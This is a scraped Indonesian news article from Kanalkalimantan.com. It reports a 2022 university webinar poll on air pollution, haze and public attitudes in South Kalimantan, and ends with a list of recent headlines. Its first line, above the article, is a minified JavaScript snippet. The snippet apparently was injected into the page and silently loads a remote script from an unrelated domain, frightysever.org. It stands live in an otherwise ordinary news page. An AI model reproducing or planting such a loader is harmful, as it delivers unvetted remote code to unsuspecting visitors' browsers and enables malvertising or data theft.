(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Lingkungan

54,2 Persen Masyarakat Pernah Alami Masalah Kesehatan Akibat Polusi Udara


KANALKALIMANTAN.COM, BANJARBARU– Polusi udara menjadi salah satu problem serius bagi kesehatan dan lingkungan yang harus menjadi perhatian. Pertumbuhan kawasan semakin memberikan kontribusi bagi permasalahan polusi udara karena belum maksimalnya aturan hukum yang mengatur terkait pencemaran udara.

Hasil poling yang dilakukan secara online, pada Chemistry Studium Generale #1 yang mengangkat tema: “Life Under The Smog of Forest and Wildfires” pada Jumat (13/5/2022) pukul 14.00 Wita, mengungkap sejumlah temuan data yang layak dicermati.

Pembicara Dwi Rasy Mujiyanti, selaku Ph.D student di CYCU sekaligus dosen Jurusan Kimia di FMIPA ULM mengatakan, sebagian besar responden ternyata pernah mengalami problem Kesehatan yang berhubungan dengan polusi udara sebanyak 54,2 persen. Sedangkan yang menyatakan tidak pernah mengalami problem sebanyak 45,8 persen.

Dwi Rasy mengatakan jumlah tersebut cukup signifikan karena sebagian besar pernah mengalami masalah kesehatan berkaitan dengan polusi udara.

 

Webinar Life Under The Smog of Forest and Wildfires. Foto: ist

Baca juga  : Lapor MANIS Masuk Top 51 Layanan Pengaduan Publik Nasional

“Ini tentunya perlu menjadi perhatian berbagai pihak ke depannya, agar masalah polusi udara yang berkaitan dengan kesehatan sebagai masalah yang serius,” katanya.

Di samping itu, poling juga mengungkap kesadaran maksayarakat untuk berobat jika mengalami masalah Kesehatan akibat polusi udara belum maksimal. Dari data yang terhimpun, hanya 62,5% yang memilih berobat ke fasilitas kesehatan. Sedangkan 37,5 persen memilih untuk tinggal di rumah.

Responden mengungkapkan, masalah polusi udara di tempat mereka tinggal masih dalam kategori sedang 62,5%, kategori rendah 29,2 persen, dan tinggi sebanyak 8,3 persen.

Sementara penyumbang masalah polusi udara terbesar, menurut responden disebabkan karena asap kendaraan sebesar 62,5%, industri 29,2 %, dan lainnya termasuk asap rokok, dan pembakaran kayu.

 

Baca juga  : Atasi Kelangkaan Minyak Goreng, Wabup Banjar Tinjau Penyaluran Migor Curah

Terkait masalah kabut asap yang kini sudah mulai dirasakan sejumlah masyarakat di Kalimantan, responden menyatakan sebagian besar akibat pembakaran lahan 83,3 %, dan sisanya akibat masifnya perkebunan sawit 16,7 %.

Untuk langkah mengurangi polusi, kesadaran publik melalui hasil respon polling cukup tinggi. Misalnya, terkait ajakan partisipasi dalam gerakan pencegahan polusi udara, hamper 95% menyatakan siap bergabung.

Demikian juga dengan ajakan menggunakan kendaraan umum, untuk mengurangi polusi kendaraan, juga disambut baik. Sebanyak 72,6% responden mangatakan siap menggunakan transportasi public. Sedangkan 27,4% masih tetap bertahan menggunakan kendaraan pribadi.

“Ini menjadi peluang ke depan, untuk lebih melibatkan public dalam solusi pengurangan dampak polusi udara. Masalahnya, adalah hal tersebut belum mendapat support penuh dari pemerintah terkait transportasi public yang memadai dan menginisiasi Gerakan public untuk mengurangi pencemaran dengan kampanye lebih massif,” kata Dwi Rasy.

 

Baca juga  : Wabup Banjar Buka TMMD ke-113, Harapkan Desa Semakin Berkembang dan Sejahtera

Poling yang dilakukan dalam beberapa hari ini, didikuti oleh 41,7 % responden laki-laki dan 58,3% perempuan. Dengan usia 18-24 tahun sebanyak 79%, dan 35-44 tahun 12,5 %. Sedangkan untuk Pendidikan, sebagaian besar yang berpartisipasi dalam polling ini adalah berstatus mahasiswa 70,8%, SMA 25%, dan S2 sebanyak 4,2%.

Chemistry Studium Generale #1 yang mengangkat tema: “Life Under The Smog of Forest and Wildfires” pada Jumat (13/5/2022) pukul 14.00 Wita, menghadirkan pembicara Dwi Rasy Mujiyanti, selaku Ph.D student di CYCU sekaligus dosen Jurusan Kimia di FMIPA ULM, dan Liao Sheng Yu, master student di CYCU, mengulas akan besarnya ancaman Kesehatan imbas polusi udara pada webinar yang digelar Himamia/Prodi Kimia dengan narsum dari Chung Yuan Christian University (CYCU) Taiwan dan praktisi lingkungan ini.

Demikian juga pembicara tamu Kisworo Dwi Cahyono, selaku Direktur Walhi Kalsel dan Aulia Nur Mustaqiman, yang juga merupakan Ph.D student di CYCU, yang mengulas aspek kebijakan pemerintah dalam penanganan polusi udara dan kabut asap.(Kanalkalimantan.com/kk)

Reporter : kk
Editor : cell


Desy Arfianty

Recent Posts

Mengulang Pertarungan di Pilgub Kalsel, Denny Indrayana Lamar Nasdem

KANALKALIMANTAN.COM, BANJARBARU - Menjelang Pemilihan Kepala Daerah (Pilkada) 2024 di Provinsi Kalimantan Selatan (Kalsel), kandidat… Read More

1 jam ago

Kota Banjarbaru Catat Investasi Triwulan I 2024 Senilai Rp204 Miliar

KANALKALIMANTAN.COM, BANJARBARU - Nilai investasi di Kota Banjarbaru terus mengalir dari tahun ke tahun. Setidaknya… Read More

3 jam ago

Bela Palestina, Mahasiswa-Civitas Akademika Universitas Muhammadiyah Banjarmasin Gelar Aksi

KANALKALIMANTAN.COM, BANJARMASIN - Forum Rektor Perguruan Tinggi Muhammadiyah dan Aisyiyah (FR PTMA) secara serentak menggelar… Read More

3 jam ago

Hadiri Halalbihalal Bersama Potensi Kesejahteraan Sosial, Bupati Banjar Dapat Kejutan

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur mendapat kejutan berupa ucapan selamat ulang tahun… Read More

5 jam ago

Puluhan Calon PPK di Banjarbaru Ikuti Tes Tertulis

KANALKALIMANTAN.COM, BANJARBARU - Puluhan orang calon Panitia Pemilihan Kecamatan (PPK) untuk Pilkada 2024 di Kota… Read More

5 jam ago

Diskominfo Banjarbaru Gelar Bimtek Sistem Informasi Publik

KANALKALIMANTAN.COM, BANJARBARU - Dinas Komunikasi dan Informatika (Diskominfo) Kota Banjarbaru menggelar bimbingan teknis Sistem Informasi… Read More

6 jam ago

This website uses cookies.